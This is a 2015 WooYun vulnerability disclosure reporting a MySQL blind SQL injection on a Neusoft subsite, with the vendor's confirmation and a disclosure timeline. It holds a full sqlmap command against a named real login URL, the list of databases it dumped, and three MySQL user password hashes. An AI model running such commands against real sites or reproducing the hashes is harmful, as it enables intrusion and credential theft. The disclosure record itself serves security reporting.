当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0147270

漏洞标题：东软某分站MySQL盲注

相关厂商：东软集团

漏洞作者： hecate

提交时间：2015-10-16 22:47

修复时间：2015-12-04 10:38

公开时间：2015-12-04 10:38

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：12

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-10-16： 细节已通知厂商并且等待厂商处理中
2015-10-20： 厂商已经确认，细节仅向厂商公开
2015-10-30： 细节向核心白帽子及相关领域专家公开
2015-11-09： 细节向普通白帽子公开
2015-11-19： 细节向实习白帽子公开
2015-12-04： 细节向公众公开

简要描述：

东软某分站MySQL盲注

详细说明：

sqlmap -u "http://ppt.qiban365.com/action/server.php?action=login" --data "username=13888888888&password=qqqqqqq"


injection2.png


available databases [21]:                                                      
[*] csdm
[*] guestbook
[*] information_schema
[*] mobile
[*] mysql
[*] neucrawlinfocollect
[*] neusite
[*] notebook
[*] nppt
[*] phpmyadmin
[*] qcs2011
[*] tasktimer
[*] testweibo
[*] traintimes
[*] weather
[*] webkit
[*] weibo
[*] weibo3
[*] why
[*] wx_db
[*] zaocan


database management system users password hashes:
[*] fuchen [1]:
    password hash: *4A72FD83EF70CDC7545D1F8CBCF4E4E96C0EF62B
[*] root [1]:  
    password hash: *260847CC950B38FF00556D71D7FED8A39394CAE3
[*] toosadmin [1]:
    password hash: *DB79B4CA52A0881BB729A4CA4C760DAAC1C12A43

漏洞证明：

都是弱口令

图像 1.png

修复方案：

过滤，上WAF

版权声明：转载请注明来源 hecate@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：6

确认时间：2015-10-20 10:37

厂商回复：

感谢作者提供的漏洞信息。我们已经将漏洞提交到相关部门进行处理。发现该系统是一个用于测试应用类App的，目前已经将该系统下线。

最新状态：

暂无

漏洞评价：

评价